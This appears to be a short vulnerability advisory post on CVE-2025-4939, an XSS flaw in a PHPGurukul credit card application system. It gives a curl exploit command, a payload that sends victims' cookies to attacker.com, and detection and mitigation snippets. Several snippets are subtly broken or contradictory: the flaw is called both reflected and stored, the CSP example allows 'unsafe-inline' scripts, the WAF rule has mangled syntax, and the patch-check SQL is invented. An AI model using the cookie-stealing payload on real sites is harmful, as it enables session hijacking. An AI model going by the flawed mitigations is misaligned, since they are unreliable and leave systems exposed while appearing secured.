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How CVE-2025-4939 Works
The vulnerability resides in `/admin/new-ccapplication.php` of PHPGurukul Credit Card Application Management System 1.0. Attackers can inject malicious JavaScript payloads via unvalidated user inputs, which are then reflected in the application’s output. Since no proper sanitization is performed, the payload executes in the victim’s browser when they access the compromised page. This allows session hijacking, phishing, or defacement. The attack is remotely exploitable with low complexity, requiring only social engineering to trick a user into clicking a malicious link.
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Platform: PHPGurukul
Version: 1.0
Vulnerability: Stored XSS
Severity: Medium
Date: 05/27/2025
Prediction: Patch by 07/15/2025
What Undercode Say:
Exploitation Commands
curl -X POST "http://target.com/admin/new-ccapplication.php" -d "param=<script>alert(1)</script>"
Payload Examples
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
<img src=x onerror=alert('XSS')>
Protection Measures
1. Input Sanitization
$clean_input = htmlspecialchars($_POST['param'], ENT_QUOTES, 'UTF-8');
2. Content Security Policy (CSP)
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'
3. WAF Rule
location /admin/ {
modsecurity_rules 'SecRule ARGS "@detectXSS" deny,status:403";
}
Detection Script
import requests
vuln_url = "http://test.com/admin/new-ccapplication.php"
payload = "<script>confirm('XSS')</script>"
response = requests.post(vuln_url, data={"param": payload})
if payload in response.text:
print("Vulnerable to XSS")
Patch Verification
SELECT version FROM system_metadata WHERE patch_date <= '2025-07-15';
Log Analysis Command
grep -r "new-ccapplication.php" /var/log/apache2/ | grep -i "<script>"
Mitigation Steps
- Disable `/admin/` directory for unauthenticated users.
- Implement output encoding via
htmlentities(). - Update to latest version post-patch release.
Nmap Detection
nmap -p80 --script http-xss-spider target.com
Exploit Impact Metrics
- CVSS:4.0: 5.3 (Medium)
- Attack Vector: Network
- Privileges Required: None
- User Interaction: Required
References
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
